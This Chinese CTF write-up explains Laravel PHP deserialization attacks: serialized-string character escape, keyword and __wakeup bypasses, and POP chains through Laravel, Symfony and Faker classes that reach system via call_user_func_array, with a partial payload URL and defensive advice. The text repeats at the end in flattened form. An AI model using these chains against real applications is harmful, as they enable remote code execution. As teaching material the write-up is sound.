安洵杯Laravel反序列化非预期+POP链挖掘
字数 1155 2025-08-18 17:33:19

Laravel反序列化漏洞分析与POP链挖掘技术详解

一、基础概念与技术要点

1. PHP序列化属性差异

PHP中不同可见性属性的序列化表现:

  • Public属性:直接显示属性名
    O:4:"test":1:{s:5:"test1";s:3:"aaa";}
    
  • Protected属性:显示为%00*%00属性名(长度增加6)
    s:8:"*test2";s:3:"aaa";
    
  • Private属性:显示为%00类名%00属性名(长度增加3+类名长度)
    s:11:"testtest3";s:3:"aaa";
    

2. PHP反序列化字符逃逸

常见于替换操作导致的字符长度变化:

function read($data) {
    $data = str_replace('?', chr(0)."*".chr(0), $data); // 1字符变3字符
    return $data;
}

function write($data) {
    $data = str_replace(chr(0)."*".chr(0), '?', $data); // 3字符变1字符
    return $data;
}

逃逸原理

  1. 通过构造特定数量的?使序列化字符串解析错位
  2. 利用长度计算差异将恶意payload逃逸出字符串范围

3. 常见绕过技术

  • 关键字检测绕过

    // 原始检测
    if(stristr($data, 'name') !== false) { die("Name Pass\n"); }
    
    // 绕过方法:使用十六进制表示
    \6e\61\6d\65  // 对应"name"
    
  • __wakeup()绕过
    当序列化字符串中对象属性个数大于实际属性个数时,会跳过__wakeup()执行

    O:4:"test":2:{...}  // 实际只有1个属性
    

二、Laravel反序列化漏洞分析

1. 漏洞入口点

app/Http/Controllers/DController.php中的反序列化操作

2. 关键POP链构造

链1:通过PendingResourceRegistration触发

namespace Illuminate\Routing;
class PendingResourceRegistration {
    protected $registrar;
    protected $name = "admi\6e";  // 绕过admin检测
    protected $controller = '恶意命令';
    
    public function __destruct() {
        if($this->name='admin'){
            $this->registrar->edit($this->controller); // 触发__call
        }
    }
}

配合Faker组件的Generator类:

namespace Faker;
class Generator {
    protected $formatters = array('edit'=>'system');
    // 触发链:
    // __call() -> format() -> getFormatter() -> ValidGenerator->format()
}

链2:通过ImportConfigurator触发

namespace Symfony\Component\Routing\Loader\Configurator;
class ImportConfigurator {
    private $parent;
    public function __destruct() {
        $this->parent->addCollection($this->route); // 触发__call
    }
}

3. 最终利用链

  1. 通过__destruct__wakeup触发初始调用
  2. 调用不存在的方法触发__call
  3. 经过Faker组件的format方法
  4. 到达ValidGenerator::format()中的call_user_func_array
// 最终执行点
public function format($formatter, $arguments = array()) {
    return call_user_func_array($formatter, $arguments);
}

三、高级POP链挖掘技术

1. 原生POP链挖掘方法

挖掘步骤

  1. 从常见起点开始(__destruct, __wakeup
  2. 分析每个方法的调用链
  3. 寻找最终可控制的危险函数调用(如call_user_func

示例链

ImportConfigurator::__destruct()
-> QueueManager::addCollection()  // 触发__call
-> Generator::__call()
-> Generator::format()
-> Generator::getFormatter()
-> ValidGenerator::format()  // 执行call_user_func_array

2. 参数控制技巧

通过QueueManager控制参数:

namespace Illuminate\Queue;
class QueueManager {
    protected $app = [
        'config' => [
            'queue.connections.qing' => ['driver'=>'qing']
        ]
    ];
    protected $connectors = [
        'qing' => [$callbackObj, 'method']
    ];
}

3. 回调函数控制

使用Whoops组件的CallbackHandler实现参数控制:

namespace Whoops\Handler;
class CallbackHandler {
    public function handle() {
        $callable($exception, $inspector, $run); // 可控制第一个参数
    }
}

四、完整利用Payload构造

1. 字符逃逸处理

计算需要插入的?数量:

  1. 确定要逃逸的payload长度
  2. 计算每个?可产生的额外空间(1变3,多2字符)
  3. 构造合适数量的?使payload能完整逃逸

2. 示例Payload

http://example.com/task?task=????????...?";s:5:"qingx";O:46:"Illuminate\Routing\PendingResourceRegistration":4:{...}

3. 私有属性处理

在序列化字符串中:

  • %00替换为\0
  • 确保长度计算准确

五、防御建议

  1. 避免反序列化用户输入
  2. 使用签名验证序列化数据
  3. 及时更新框架版本
  4. 限制危险函数的使用
  5. 对反序列化操作进行严格的类型检查

六、参考资源

  1. PHP反序列化字符逃逸详解
  2. Laravel反序列化漏洞分析
  3. POP链构造技巧

通过深入理解这些技术原理和构造方法,安全研究人员可以更有效地挖掘和防御Laravel应用中的反序列化漏洞。

Laravel反序列化漏洞分析与POP链挖掘技术详解 一、基础概念与技术要点 1. PHP序列化属性差异 PHP中不同可见性属性的序列化表现: Public属性 :直接显示属性名 Protected属性 :显示为 %00*%00属性名 (长度增加6) Private属性 :显示为 %00类名%00属性名 (长度增加3+类名长度) 2. PHP反序列化字符逃逸 常见于替换操作导致的字符长度变化: 逃逸原理 : 通过构造特定数量的 ? 使序列化字符串解析错位 利用长度计算差异将恶意payload逃逸出字符串范围 3. 常见绕过技术 关键字检测绕过 : __ wakeup()绕过 : 当序列化字符串中对象属性个数大于实际属性个数时,会跳过 __wakeup() 执行 二、Laravel反序列化漏洞分析 1. 漏洞入口点 app/Http/Controllers/DController.php 中的反序列化操作 2. 关键POP链构造 链1:通过PendingResourceRegistration触发 配合Faker组件的Generator类: 链2:通过ImportConfigurator触发 3. 最终利用链 通过 __destruct 或 __wakeup 触发初始调用 调用不存在的方法触发 __call 经过Faker组件的 format 方法 到达 ValidGenerator::format() 中的 call_user_func_array 三、高级POP链挖掘技术 1. 原生POP链挖掘方法 挖掘步骤 : 从常见起点开始( __destruct , __wakeup ) 分析每个方法的调用链 寻找最终可控制的危险函数调用(如 call_user_func ) 示例链 : 2. 参数控制技巧 通过QueueManager控制参数: 3. 回调函数控制 使用Whoops组件的CallbackHandler实现参数控制: 四、完整利用Payload构造 1. 字符逃逸处理 计算需要插入的 ? 数量: 确定要逃逸的payload长度 计算每个 ? 可产生的额外空间(1变3,多2字符) 构造合适数量的 ? 使payload能完整逃逸 2. 示例Payload 3. 私有属性处理 在序列化字符串中: 将 %00 替换为 \0 确保长度计算准确 五、防御建议 避免反序列化用户输入 使用签名验证序列化数据 及时更新框架版本 限制危险函数的使用 对反序列化操作进行严格的类型检查 六、参考资源 PHP反序列化字符逃逸详解 Laravel反序列化漏洞分析 POP链构造技巧 通过深入理解这些技术原理和构造方法,安全研究人员可以更有效地挖掘和防御Laravel应用中的反序列化漏洞。